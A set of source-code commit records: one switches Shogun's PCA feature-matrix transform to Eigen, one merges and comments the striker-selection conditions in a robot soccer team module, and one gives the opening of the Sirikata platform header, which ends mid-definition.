<commit_before>/* * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * Written (W) 1999-2008 Gunnar Raetsch * Written (W) 1999-2008,2011 Soeren Sonnenburg * Copyright (C) 1999-2009 Fraunhofer Institute FIRST and Max-Planck-Society * Copyright (C) 2011 Berlin Institute of Technology */ #include <shogun/preprocessor/PCA.h> #ifdef HAVE_LAPACK #include <shogun/mathematics/lapack.h> #include <shogun/lib/config.h> #include <shogun/mathematics/Math.h> #include <string.h> #include <stdlib.h> #include <shogun/lib/common.h> #include <shogun/preprocessor/DensePreprocessor.h> #include <shogun/features/Features.h> #include <shogun/io/SGIO.h> using namespace shogun; CPCA::CPCA(bool do_whitening_, EPCAMode mode_, float64_t thresh_) : CDimensionReductionPreprocessor(), num_dim(0), m_initialized(false), m_whitening(do_whitening_), m_mode(mode_), thresh(thresh_) { init(); } void CPCA::init() { m_transformation_matrix = SGMatrix<float64_t>(); m_mean_vector = SGVector<float64_t>(); m_eigenvalues_vector = SGVector<float64_t>(); SG_ADD(&m_transformation_matrix, "transformation_matrix", "Transformation matrix (Eigenvectors of covariance matrix).", MS_NOT_AVAILABLE); SG_ADD(&m_mean_vector, "mean_vector", "Mean Vector.", MS_NOT_AVAILABLE); SG_ADD(&m_eigenvalues_vector, "eigenvalues_vector", "Vector with Eigenvalues.", MS_NOT_AVAILABLE); SG_ADD(&m_initialized, "initalized", "True when initialized.", MS_NOT_AVAILABLE); SG_ADD(&m_whitening, "whitening", "Whether data shall be whitened.", MS_AVAILABLE); SG_ADD((machine_int_t*) &m_mode, "mode", "PCA Mode.", MS_AVAILABLE); SG_ADD(&thresh, "thresh", "Cutoff threshold.", MS_AVAILABLE); } CPCA::~CPCA() { } bool CPCA::init(CFeatures* features) { if (!m_initialized) { // loop varibles int32_t i,j,k; ASSERT(features->get_feature_class()==C_DENSE) ASSERT(features->get_feature_type()==F_DREAL) int32_t num_vectors=((CDenseFeatures<float64_t>*)features)->get_num_vectors(); int32_t num_features=((CDenseFeatures<float64_t>*)features)->get_num_features(); SG_INFO("num_examples: %ld num_features: %ld \n", num_vectors, num_features) m_mean_vector.vlen = num_features; m_mean_vector.vector = SG_CALLOC(float64_t, num_features); // sum SGMatrix<float64_t> feature_matrix = ((CDenseFeatures<float64_t>*)features)->get_feature_matrix(); for (i=0; i<num_vectors; i++) { for (j=0; j<num_features; j++) m_mean_vector.vector[j] += feature_matrix.matrix[i*num_features+j]; } //divide for (i=0; i<num_features; i++) m_mean_vector.vector[i] /= num_vectors; float64_t* cov = SG_CALLOC(float64_t, num_features*num_features); float64_t* sub_mean = SG_MALLOC(float64_t, num_features); for (i=0; i<num_vectors; i++) { for (k=0; k<num_features; k++) sub_mean[k]=feature_matrix.matrix[i*num_features+k]-m_mean_vector.vector[k]; cblas_dger(CblasColMajor, num_features,num_features, 1.0,sub_mean,1, sub_mean,1, cov, num_features); } SG_FREE(sub_mean); for (i=0; i<num_features; i++) { for (j=0; j<num_features; j++) cov[i*num_features+j]/=(num_vectors-1); } SG_INFO("Computing Eigenvalues ... ") m_eigenvalues_vector.vector = SGMatrix<float64_t>::compute_eigenvectors(cov,num_features,num_features); m_eigenvalues_vector.vlen = num_features; num_dim=0; if (m_mode == FIXED_NUMBER) { ASSERT(m_target_dim <= num_features) num_dim = m_target_dim; } if (m_mode == VARIANCE_EXPLAINED) { float64_t eig_sum = 0; for (i=0; i<num_features; i++) eig_sum += m_eigenvalues_vector.vector[i]; float64_t com_sum = 0; for (i=num_features-1; i>-1; i--) { num_dim++; com_sum += m_eigenvalues_vector.vector[i]; if (com_sum/eig_sum>=thresh) break; } } if (m_mode == THRESHOLD) { for (i=num_features-1; i>-1; i--) { if (m_eigenvalues_vector.vector[i]>thresh) num_dim++; else break; } } SG_INFO("Done\nReducing from %i to %i features..", num_features, num_dim) m_transformation_matrix = SGMatrix<float64_t>(num_features,num_dim); num_old_dim = num_features; int32_t offs=0; for (i=num_features-num_dim; i<num_features; i++) { for (k=0; k<num_features; k++) if (m_whitening) m_transformation_matrix.matrix[offs+k*num_dim] = cov[num_features*i+k]/sqrt(m_eigenvalues_vector.vector[i]); else m_transformation_matrix.matrix[offs+k*num_dim] = cov[num_features*i+k]; offs++; } SG_FREE(cov); m_initialized = true; return true; } return false; } void CPCA::cleanup() { m_transformation_matrix=SGMatrix<float64_t>(); } SGMatrix<float64_t> CPCA::apply_to_feature_matrix(CFeatures* features) { ASSERT(m_initialized) SGMatrix<float64_t> m = ((CDenseFeatures<float64_t>*) features)->get_feature_matrix(); int32_t num_vectors = m.num_cols; int32_t num_features = m.num_rows; SG_INFO("get Feature matrix: %ix%i\n", num_vectors, num_features) if (m.matrix) { SG_INFO("Preprocessing feature matrix\n") float64_t* res = SG_MALLOC(float64_t, num_dim); float64_t* sub_mean = SG_MALLOC(float64_t, num_features); for (int32_t vec=0; vec<num_vectors; vec++) { int32_t i; for (i=0; i<num_features; i++) sub_mean[i] = m.matrix[num_features*vec+i] - m_mean_vector.vector[i]; cblas_dgemv(CblasColMajor,CblasNoTrans, num_dim,num_features, 1.0,m_transformation_matrix.matrix,num_dim, sub_mean,1, 0.0,res,1); float64_t* m_transformed = &m.matrix[num_dim*vec]; for (i=0; i<num_dim; i++) m_transformed[i] = res[i]; } SG_FREE(res); SG_FREE(sub_mean); ((CDenseFeatures<float64_t>*) features)->set_num_features(num_dim); ((CDenseFeatures<float64_t>*) features)->get_feature_matrix(num_features, num_vectors); SG_INFO("new Feature matrix: %ix%i\n", num_vectors, num_features) } return m; } SGVector<float64_t> CPCA::apply_to_feature_vector(SGVector<float64_t> vector) { float64_t* result = SG_MALLOC(float64_t, num_dim); float64_t* sub_mean = SG_MALLOC(float64_t, vector.vlen); for (int32_t i=0; i<vector.vlen; i++) sub_mean[i]=vector.vector[i]-m_mean_vector.vector[i]; cblas_dgemv(CblasColMajor,CblasNoTrans, num_dim,vector.vlen, 1.0,m_transformation_matrix.matrix,m_transformation_matrix.num_cols, sub_mean,1, 0.0,result,1); SG_FREE(sub_mean); return SGVector<float64_t>(result,num_dim); } SGMatrix<float64_t> CPCA::get_transformation_matrix() { return m_transformation_matrix; } SGVector<float64_t> CPCA::get_eigenvalues() { return m_eigenvalues_vector; } SGVector<float64_t> CPCA::get_mean() { return m_mean_vector; } #endif /* HAVE_LAPACK */ <commit_msg>apply_to_feature_matrix method fixed in PCA<commit_after>/* * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * Written (W) 1999-2008 Gunnar Raetsch * Written (W) 1999-2008,2011 Soeren Sonnenburg * Copyright (C) 1999-2009 Fraunhofer Institute FIRST and Max-Planck-Society * Copyright (C) 2011 Berlin Institute of Technology */ #include <shogun/preprocessor/PCA.h> #ifdef HAVE_LAPACK #include <shogun/mathematics/lapack.h> #include <shogun/lib/config.h> #include <shogun/mathematics/Math.h> #include <string.h> #include <stdlib.h> #include <shogun/lib/common.h> #include <shogun/preprocessor/DensePreprocessor.h> #include <shogun/features/Features.h> #include <shogun/io/SGIO.h> #include <shogun/mathematics/eigen3.h> using namespace shogun; using namespace Eigen; CPCA::CPCA(bool do_whitening_, EPCAMode mode_, float64_t thresh_) : CDimensionReductionPreprocessor(), num_dim(0), m_initialized(false), m_whitening(do_whitening_), m_mode(mode_), thresh(thresh_) { init(); } void CPCA::init() { m_transformation_matrix = SGMatrix<float64_t>(); m_mean_vector = SGVector<float64_t>(); m_eigenvalues_vector = SGVector<float64_t>(); SG_ADD(&m_transformation_matrix, "transformation_matrix", "Transformation matrix (Eigenvectors of covariance matrix).", MS_NOT_AVAILABLE); SG_ADD(&m_mean_vector, "mean_vector", "Mean Vector.", MS_NOT_AVAILABLE); SG_ADD(&m_eigenvalues_vector, "eigenvalues_vector", "Vector with Eigenvalues.", MS_NOT_AVAILABLE); SG_ADD(&m_initialized, "initalized", "True when initialized.", MS_NOT_AVAILABLE); SG_ADD(&m_whitening, "whitening", "Whether data shall be whitened.", MS_AVAILABLE); SG_ADD((machine_int_t*) &m_mode, "mode", "PCA Mode.", MS_AVAILABLE); SG_ADD(&thresh, "thresh", "Cutoff threshold.", MS_AVAILABLE); } CPCA::~CPCA() { } bool CPCA::init(CFeatures* features) { if (!m_initialized) { // loop varibles int32_t i,j,k; ASSERT(features->get_feature_class()==C_DENSE) ASSERT(features->get_feature_type()==F_DREAL) int32_t num_vectors=((CDenseFeatures<float64_t>*)features)->get_num_vectors(); int32_t num_features=((CDenseFeatures<float64_t>*)features)->get_num_features(); SG_INFO("num_examples: %ld num_features: %ld \n", num_vectors, num_features) m_mean_vector.vlen = num_features; m_mean_vector.vector = SG_CALLOC(float64_t, num_features); // sum SGMatrix<float64_t> feature_matrix = ((CDenseFeatures<float64_t>*)features)->get_feature_matrix(); for (i=0; i<num_vectors; i++) { for (j=0; j<num_features; j++) m_mean_vector.vector[j] += feature_matrix.matrix[i*num_features+j]; } //divide for (i=0; i<num_features; i++) m_mean_vector.vector[i] /= num_vectors; float64_t* cov = SG_CALLOC(float64_t, num_features*num_features); float64_t* sub_mean = SG_MALLOC(float64_t, num_features); for (i=0; i<num_vectors; i++) { for (k=0; k<num_features; k++) sub_mean[k]=feature_matrix.matrix[i*num_features+k]-m_mean_vector.vector[k]; cblas_dger(CblasColMajor, num_features,num_features, 1.0,sub_mean,1, sub_mean,1, cov, num_features); } SG_FREE(sub_mean); for (i=0; i<num_features; i++) { for (j=0; j<num_features; j++) cov[i*num_features+j]/=(num_vectors-1); } SG_INFO("Computing Eigenvalues ... ") m_eigenvalues_vector.vector = SGMatrix<float64_t>::compute_eigenvectors(cov,num_features,num_features); m_eigenvalues_vector.vlen = num_features; num_dim=0; if (m_mode == FIXED_NUMBER) { ASSERT(m_target_dim <= num_features) num_dim = m_target_dim; } if (m_mode == VARIANCE_EXPLAINED) { float64_t eig_sum = 0; for (i=0; i<num_features; i++) eig_sum += m_eigenvalues_vector.vector[i]; float64_t com_sum = 0; for (i=num_features-1; i>-1; i--) { num_dim++; com_sum += m_eigenvalues_vector.vector[i]; if (com_sum/eig_sum>=thresh) break; } } if (m_mode == THRESHOLD) { for (i=num_features-1; i>-1; i--) { if (m_eigenvalues_vector.vector[i]>thresh) num_dim++; else break; } } SG_INFO("Done\nReducing from %i to %i features..", num_features, num_dim) m_transformation_matrix = SGMatrix<float64_t>(num_features,num_dim); num_old_dim = num_features; int32_t offs=0; for (i=num_features-num_dim; i<num_features; i++) { for (k=0; k<num_features; k++) if (m_whitening) m_transformation_matrix.matrix[offs+k*num_dim] = cov[num_features*i+k]/sqrt(m_eigenvalues_vector.vector[i]); else m_transformation_matrix.matrix[offs+k*num_dim] = cov[num_features*i+k]; offs++; } SG_FREE(cov); m_initialized = true; return true; } return false; } void CPCA::cleanup() { m_transformation_matrix=SGMatrix<float64_t>(); } #ifdef HAVE_EIGEN3 SGMatrix<float64_t> CPCA::apply_to_feature_matrix(CFeatures* features) { ASSERT(m_initialized) SGMatrix<float64_t> m = ((CDenseFeatures<float64_t>*) features)->get_feature_matrix(); int32_t num_vectors = m.num_cols; int32_t num_features = m.num_rows; SG_INFO("get Feature matrix: %ix%i\n", num_vectors, num_features) MatrixXd final_feature_matrix; if (m.matrix) { SG_INFO("Preprocessing feature matrix\n") Map<MatrixXd> feature_matrix(m.matrix, num_features, num_vectors); VectorXd data_mean = feature_matrix.rowwise().sum()/(float64_t) num_vectors; MatrixXd feature_matrix_centered = feature_matrix.colwise()-data_mean; SG_INFO("Transforming feature matrix\n") Map<MatrixXd> transform_matrix(m_transformation_matrix.matrix, m_transformation_matrix.num_rows, m_transformation_matrix.num_cols); final_feature_matrix = transform_matrix.transpose()*feature_matrix_centered; } SGMatrix<float64_t> result_matrix = SGMatrix<float64_t>(num_dim, num_vectors); for (int32_t c=0; c<num_vectors; c++) { for (int32_t r=0; r<num_dim; r++) result_matrix.matrix[c*num_dim+r] = final_feature_matrix(r,c); } return result_matrix; } #endif //HAVE_EIGEN3 SGVector<float64_t> CPCA::apply_to_feature_vector(SGVector<float64_t> vector) { float64_t* result = SG_MALLOC(float64_t, num_dim); float64_t* sub_mean = SG_MALLOC(float64_t, vector.vlen); for (int32_t i=0; i<vector.vlen; i++) sub_mean[i]=vector.vector[i]-m_mean_vector.vector[i]; cblas_dgemv(CblasColMajor,CblasNoTrans, num_dim,vector.vlen, 1.0,m_transformation_matrix.matrix,m_transformation_matrix.num_cols, sub_mean,1, 0.0,result,1); SG_FREE(sub_mean); return SGVector<float64_t>(result,num_dim); } SGMatrix<float64_t> CPCA::get_transformation_matrix() { return m_transformation_matrix; } SGVector<float64_t> CPCA::get_eigenvalues() { return m_eigenvalues_vector; } SGVector<float64_t> CPCA::get_mean() { return m_mean_vector; } #endif /* HAVE_LAPACK */ <|endoftext|>
<commit_before>/** * @file: TeamSymbols.cpp * @author: <a href="mailto:[email protected]">Marcus Scheunemann</a> * * First created on 9. April 2009, 18:10 */ #include "TeamSymbols.h" void TeamSymbols::registerSymbols(xabsl::Engine& engine) { engine.registerDecimalInputSymbol("team.members_alive_count", &getTeamMembersAliveCount); engine.registerBooleanInputSymbol("team.calc_if_is_striker", &calculateIfStriker); engine.registerBooleanInputSymbol("team.calc_if_is_striker_by_time_to_ball", &calculateIfStriker_byTimeToBall); engine.registerBooleanOutputSymbol("team.is_playing_as_striker",&setWasStriker, &getWasStriker); engine.registerBooleanInputSymbol("team.calc_if_is_the_last", &calculateIfTheLast); } TeamSymbols* TeamSymbols::theInstance = NULL; void TeamSymbols::execute() { } double TeamSymbols::getTeamMembersAliveCount() { int counter = 0; for(std::map<unsigned int, TeamMessage::Data>::const_iterator i=theInstance->getTeamMessage().data.begin(); i != theInstance->getTeamMessage().data.end(); ++i) { const TeamMessage::Data& messageData = i->second; // "alive" means sent something in the last n seconds if(theInstance->getFrameInfo().getTimeSince(messageData.frameInfo.getTime()) < theInstance->parameters.maximumFreshTime) { counter++; } }//end for return (double) counter; }//end getTeamMembersAliveCount bool TeamSymbols::getWasStriker() { return theInstance->getPlayerInfo().isPlayingStriker; } void TeamSymbols::setWasStriker(bool striker) { theInstance->getPlayerInfo().isPlayingStriker = striker; } bool TeamSymbols::calculateIfStriker() { TeamMessage const& tm = theInstance->getTeamMessage(); // initialize with max-values. Every Robot must start with same values! double shortestDistance = theInstance->getFieldInfo().xFieldLength; unsigned int playerNearestToBall = 0; //nobody near to ball //if someone is striker, leave! Goalie can be striker (while f.e. clearing ball) for(std::map<unsigned int, TeamMessage::Data>::const_iterator i=tm.data.begin(); i != tm.data.end(); ++i) { const TeamMessage::Data& messageData = i->second; const unsigned int number = i->first; if((theInstance->getFrameInfo().getTimeSince(i->second.frameInfo.getTime()) < theInstance->parameters.maximumFreshTime) && // the message is fresh... number != theInstance->getPlayerInfo().gameData.playerNumber && // its not me... messageData.wasStriker // the guy wants to be striker... ) { return false; // let him go :) } }//end for // all team members except goalie!! otherwise goalie is nearest and all thinks he is striker, but he won't clear ball //should check who has best position to goal etc. for(std::map<unsigned int, TeamMessage::Data>::const_iterator i=tm.data.begin(); i != tm.data.end(); ++i) { const TeamMessage::Data& messageData = i->second; const unsigned int number = i->first; double time_bonus = messageData.wasStriker?theInstance->parameters.strikerBonusTime:0.0; if (!messageData.fallen && !messageData.isPenalized && number != 1 // goalie is not considered && theInstance->getFrameInfo().getTimeSince(i->second.frameInfo.getTime()) < theInstance->parameters.maximumFreshTime // its fresh && (messageData.ballAge >= 0 && messageData.ballAge < theInstance->parameters.maxBallLostTime+time_bonus )// the guy sees the ball ) { Vector2d ballPos = messageData.ballPosition; double ballDistance = ballPos.abs(); // striker bonus if (messageData.wasStriker) ballDistance -= 100; // remember the closest guy if(ballDistance < shortestDistance) { shortestDistance = ballDistance; playerNearestToBall = number; } }//end if }//end for // am I the closest one? return playerNearestToBall == theInstance->getPlayerInfo().gameData.playerNumber; }//end calculateIfStriker bool TeamSymbols::calculateIfStriker_byTimeToBall() { TeamMessage const& tm = theInstance->getTeamMessage(); double shortestTime = theInstance->getSoccerStrategy().timeToBall; if (theInstance->getPlayerInfo().isPlayingStriker) shortestTime-=100; for (std::map<unsigned int, TeamMessage::Data>::const_iterator i=tm.data.begin(); i != tm.data.end(); ++i) { const TeamMessage::Data& msg = i->second; unsigned int robotNumber = i->first; double failureProbability = 0.0; std::map<unsigned int, double>::const_iterator robotFailure = theInstance->getTeamMessageStatisticsModel().failureProbabilities.find(robotNumber); if (robotFailure != theInstance->getTeamMessageStatisticsModel().failureProbabilities.end()) { failureProbability = robotFailure->second; } if (robotNumber != theInstance->getPlayerInfo().gameData.playerNumber && msg.wasStriker //Robot considers itself the striker && !msg.isPenalized && failureProbability < theInstance->parameters.minFailureProbability //Message is fresh && msg.ballAge >= 0 //Ball has been seen && msg.ballAge + theInstance->getFrameInfo().getTimeSince(i->second.frameInfo.getTime()) < theInstance->parameters.maximumFreshTime) { //Ball is fresh if(msg.timeToBall < shortestTime) { return false; } } }//end for return true; }//end calculateIfStriker_byTimeToBall TeamSymbols::~TeamSymbols() { } /** the robot which is closest to own goal is defined as the last one */ bool TeamSymbols::calculateIfTheLast() { TeamMessage const& tm = theInstance->getTeamMessage(); // initialize with own values double shortestDistance = (theInstance->getRobotPose().translation - theInstance->getFieldInfo().ownGoalCenter).abs(); double secondShortestDistance = std::numeric_limits<double>::max(); unsigned int playerNearestToOwnGoal = theInstance->getPlayerInfo().gameData.playerNumber; unsigned int playerAlmostNearestToOwnGoal = std::numeric_limits<unsigned int>::max(); // check all non-penalized and non-striker team members for(std::map<unsigned int, TeamMessage::Data>::const_iterator i=tm.data.begin(); i != tm.data.end(); ++i) { const TeamMessage::Data& messageData = i->second; const int number = i->first; if ((theInstance->getFrameInfo().getTimeSince(messageData.frameInfo.getTime()) < theInstance->parameters.maximumFreshTime) && // alive? !messageData.isPenalized && // not penalized? !messageData.wasStriker && number != 1 && // no goalie // we are already considered by the initial values messageData.playerNum != theInstance->getPlayerInfo().gameData.playerNumber ) { Vector2d robotpos = messageData.pose.translation; double d = (robotpos-theInstance->getFieldInfo().ownGoalCenter).abs(); if ( d < shortestDistance ) { // std::cout << "(old) secDist=" << secondShortestDistance << " secNum=" // << playerAlmostNearestToOwnGoal << " firstDist=" << shortestDistance // << " firstNum=" << playerNearestToOwnGoal << std::endl; // exchange the second shortest distance secondShortestDistance = shortestDistance; playerAlmostNearestToOwnGoal = playerNearestToOwnGoal; //std::cout << "(after exchange) secDist=" << secondShortestDistance << " secNum=" // << playerAlmostNearestToOwnGoal << " firstDist=" << shortestDistance // << " firstNum=" << playerNearestToOwnGoal << std::endl; // set new nearest shortestDistance = d; playerNearestToOwnGoal = number; //std::cout << "(new) secDist=" << secondShortestDistance << " secNum=" // << playerAlmostNearestToOwnGoal << " firstDist=" << shortestDistance // << " firstNum=" << playerNearestToOwnGoal << std::endl; } }//end if }//end for // std::cout << "==========" << std::endl; if(fabs(secondShortestDistance-shortestDistance) < 500) { // distance of distance is less than half a meter, choose if we have the // lowest player number if(playerNearestToOwnGoal == theInstance->getPlayerInfo().gameData.playerNumber) { return playerNearestToOwnGoal < playerAlmostNearestToOwnGoal; } else if(playerAlmostNearestToOwnGoal == theInstance->getPlayerInfo().gameData.playerNumber) { return playerAlmostNearestToOwnGoal < playerNearestToOwnGoal; } else { return false; } } else { // is it me? return playerNearestToOwnGoal == theInstance->getPlayerInfo().gameData.playerNumber; } }//end calculateIfTheLast <commit_msg>Changed some comments.<commit_after>/** * @file: TeamSymbols.cpp * @author: <a href="mailto:[email protected]">Marcus Scheunemann</a> * * First created on 9. April 2009, 18:10 */ #include "TeamSymbols.h" void TeamSymbols::registerSymbols(xabsl::Engine& engine) { engine.registerDecimalInputSymbol("team.members_alive_count", &getTeamMembersAliveCount); engine.registerBooleanInputSymbol("team.calc_if_is_striker", &calculateIfStriker); engine.registerBooleanInputSymbol("team.calc_if_is_striker_by_time_to_ball", &calculateIfStriker_byTimeToBall); engine.registerBooleanOutputSymbol("team.is_playing_as_striker",&setWasStriker, &getWasStriker); engine.registerBooleanInputSymbol("team.calc_if_is_the_last", &calculateIfTheLast); } TeamSymbols* TeamSymbols::theInstance = NULL; void TeamSymbols::execute() { } double TeamSymbols::getTeamMembersAliveCount() { int counter = 0; for(std::map<unsigned int, TeamMessage::Data>::const_iterator i=theInstance->getTeamMessage().data.begin(); i != theInstance->getTeamMessage().data.end(); ++i) { const TeamMessage::Data& messageData = i->second; // "alive" means sent something in the last n seconds if(theInstance->getFrameInfo().getTimeSince(messageData.frameInfo.getTime()) < theInstance->parameters.maximumFreshTime) { counter++; } }//end for return (double) counter; }//end getTeamMembersAliveCount bool TeamSymbols::getWasStriker() { return theInstance->getPlayerInfo().isPlayingStriker; } void TeamSymbols::setWasStriker(bool striker) { theInstance->getPlayerInfo().isPlayingStriker = striker; } bool TeamSymbols::calculateIfStriker() { TeamMessage const& tm = theInstance->getTeamMessage(); // initialize with max-values. Every Robot must start with same values! double shortestDistance = theInstance->getFieldInfo().xFieldLength; unsigned int playerNearestToBall = 0; //nobody near to ball //if someone is striker, leave! Goalie can be striker (while f.e. clearing ball) for(std::map<unsigned int, TeamMessage::Data>::const_iterator i=tm.data.begin(); i != tm.data.end(); ++i) { const TeamMessage::Data& messageData = i->second; const unsigned int number = i->first; if((theInstance->getFrameInfo().getTimeSince(i->second.frameInfo.getTime()) < theInstance->parameters.maximumFreshTime) && // the message is fresh... number != theInstance->getPlayerInfo().gameData.playerNumber && // its not me... messageData.wasStriker // the guy wants to be striker... ) { return false; // let him go :) } }//end for // all team members except goalie!! otherwise goalie is nearest and all thinks he is striker, but he won't clear ball //should check who has best position to goal etc. for(std::map<unsigned int, TeamMessage::Data>::const_iterator i=tm.data.begin(); i != tm.data.end(); ++i) { const TeamMessage::Data& messageData = i->second; const unsigned int number = i->first; double time_bonus = messageData.wasStriker?theInstance->parameters.strikerBonusTime:0.0; if (!messageData.fallen && !messageData.isPenalized && number != 1 // goalie is not considered && theInstance->getFrameInfo().getTimeSince(i->second.frameInfo.getTime()) < theInstance->parameters.maximumFreshTime // its fresh && (messageData.ballAge >= 0 && messageData.ballAge < theInstance->parameters.maxBallLostTime+time_bonus )// the guy sees the ball ) { Vector2d ballPos = messageData.ballPosition; double ballDistance = ballPos.abs(); // striker bonus if (messageData.wasStriker) ballDistance -= 100; // remember the closest guy if(ballDistance < shortestDistance) { shortestDistance = ballDistance; playerNearestToBall = number; } }//end if }//end for // am I the closest one? return playerNearestToBall == theInstance->getPlayerInfo().gameData.playerNumber; }//end calculateIfStriker bool TeamSymbols::calculateIfStriker_byTimeToBall() { TeamMessage const& tm = theInstance->getTeamMessage(); double shortestTime = theInstance->getSoccerStrategy().timeToBall; if (theInstance->getPlayerInfo().isPlayingStriker) shortestTime-=100; for (std::map<unsigned int, TeamMessage::Data>::const_iterator i=tm.data.begin(); i != tm.data.end(); ++i) { const TeamMessage::Data& msg = i->second; unsigned int robotNumber = i->first; double failureProbability = 0.0; std::map<unsigned int, double>::const_iterator robotFailure = theInstance->getTeamMessageStatisticsModel().failureProbabilities.find(robotNumber); if (robotFailure != theInstance->getTeamMessageStatisticsModel().failureProbabilities.end()) { failureProbability = robotFailure->second; } //Failure probability will be 0, if there is no entry about this robot in the TeamMessageStatistics if ( robotNumber != theInstance->getPlayerInfo().gameData.playerNumber //If this player is not us && msg.wasStriker //Robot considers itself the striker && !msg.isPenalized && failureProbability < theInstance->parameters.minFailureProbability //Message is fresh && msg.ballAge >= 0 //Ball has been seen && msg.ballAge + theInstance->getFrameInfo().getTimeSince(i->second.frameInfo.getTime()) < theInstance->parameters.maximumFreshTime //Ball is fresh && msg.timeToBall < shortestTime) { //Other player is closer to ball than us return false; } }//end for return true; }//end calculateIfStriker_byTimeToBall TeamSymbols::~TeamSymbols() { } /** the robot which is closest to own goal is defined as the last one */ bool TeamSymbols::calculateIfTheLast() { TeamMessage const& tm = theInstance->getTeamMessage(); // initialize with own values double shortestDistance = (theInstance->getRobotPose().translation - theInstance->getFieldInfo().ownGoalCenter).abs(); double secondShortestDistance = std::numeric_limits<double>::max(); unsigned int playerNearestToOwnGoal = theInstance->getPlayerInfo().gameData.playerNumber; unsigned int playerAlmostNearestToOwnGoal = std::numeric_limits<unsigned int>::max(); // check all non-penalized and non-striker team members for(std::map<unsigned int, TeamMessage::Data>::const_iterator i=tm.data.begin(); i != tm.data.end(); ++i) { const TeamMessage::Data& messageData = i->second; const int number = i->first; if ((theInstance->getFrameInfo().getTimeSince(messageData.frameInfo.getTime()) < theInstance->parameters.maximumFreshTime) && // alive? !messageData.isPenalized && // not penalized? !messageData.wasStriker && number != 1 && // no goalie // we are already considered by the initial values messageData.playerNum != theInstance->getPlayerInfo().gameData.playerNumber ) { Vector2d robotpos = messageData.pose.translation; double d = (robotpos-theInstance->getFieldInfo().ownGoalCenter).abs(); if ( d < shortestDistance ) { // std::cout << "(old) secDist=" << secondShortestDistance << " secNum=" // << playerAlmostNearestToOwnGoal << " firstDist=" << shortestDistance // << " firstNum=" << playerNearestToOwnGoal << std::endl; // exchange the second shortest distance secondShortestDistance = shortestDistance; playerAlmostNearestToOwnGoal = playerNearestToOwnGoal; //std::cout << "(after exchange) secDist=" << secondShortestDistance << " secNum=" // << playerAlmostNearestToOwnGoal << " firstDist=" << shortestDistance // << " firstNum=" << playerNearestToOwnGoal << std::endl; // set new nearest shortestDistance = d; playerNearestToOwnGoal = number; //std::cout << "(new) secDist=" << secondShortestDistance << " secNum=" // << playerAlmostNearestToOwnGoal << " firstDist=" << shortestDistance // << " firstNum=" << playerNearestToOwnGoal << std::endl; } }//end if }//end for // std::cout << "==========" << std::endl; if(fabs(secondShortestDistance-shortestDistance) < 500) { // distance of distance is less than half a meter, choose if we have the // lowest player number if(playerNearestToOwnGoal == theInstance->getPlayerInfo().gameData.playerNumber) { return playerNearestToOwnGoal < playerAlmostNearestToOwnGoal; } else if(playerAlmostNearestToOwnGoal == theInstance->getPlayerInfo().gameData.playerNumber) { return playerAlmostNearestToOwnGoal < playerNearestToOwnGoal; } else { return false; } } else { // is it me? return playerNearestToOwnGoal == theInstance->getPlayerInfo().gameData.playerNumber; } }//end calculateIfTheLast <|endoftext|>
<commit_before>/* Sirikata -- Platform Dependent Definitions * Platform.hpp * * Copyright (c) 2009, Ewen Cheslack-Postava and Daniel Reiter Horn * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * Neither the name of Sirikata nor the names of its contributors may * be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef _SIRIKATA_PLATFORM_HPP_ #define _SIRIKATA_PLATFORM_HPP_ #define PLATFORM_WINDOWS 0 #define PLATFORM_LINUX 1 #define PLATFORM_MAC 2 #if defined(__WIN32__) || defined(_WIN32) // disable type needs to have dll-interface to be used byu clients due to STL member variables which are not public #pragma warning (disable: 4251) //disable warning about no suitable definition provided for explicit template instantiation request which seems to have no resolution nor cause any problems #pragma warning (disable: 4661) //disable non dll-interface class used as base for dll-interface class when deriving from singleton #pragma warning (disable : 4275) # define SIRIKATA_PLATFORM PLATFORM_WINDOWS #elif defined(__APPLE_CC__) || defined(__APPLE__) # define SIRIKATA_PLATFORM PLATFORM_MAC # ifndef __MACOSX__ # define __MACOSX__ # endif #else # define SIRIKATA_PLATFORM PLATFORM_LINUX #endif #ifdef NDEBUG #define SIRIKATA_DEBUG 0 #else #define SIRIKATA_DEBUG 1 #endif #ifndef SIRIKATA_EXPORT # if SIRIKATA_PLATFORM == PLATFORM_WINDOWS # if defined(STATIC_LINKED) # define SIRIKATA_EXPORT # else # if defined(SIRIKATA_BUILD) # define SIRIKATA_EXPORT __declspec(dllexport) # else # define SIRIKATA_EXPORT __declspec(dllimport) # endif # endif # define SIRIKATA_PLUGIN_EXPORT __declspec(dllexport) # else # if defined(__GNUC__) && __GNUC__ >= 4 # define SIRIKATA_EXPORT __attribute__ ((visibility("default"))) # define SIRIKATA_PLUGIN_EXPORT __attribute__ ((visibility("default"))) # else # define SIRIKATA_EXPORT # define SIRIKATA_PLUGIN_EXPORT # endif # endif #endif #ifndef SIRIKATA_FUNCTION_EXPORT # if SIRIKATA_PLATFORM == PLATFORM_WINDOWS # if defined(STATIC_LINKED) # define SIRIKATA_FUNCTION_EXPORT # else # if defined(SIRIKATA_BUILD) # define SIRIKATA_FUNCTION_EXPORT 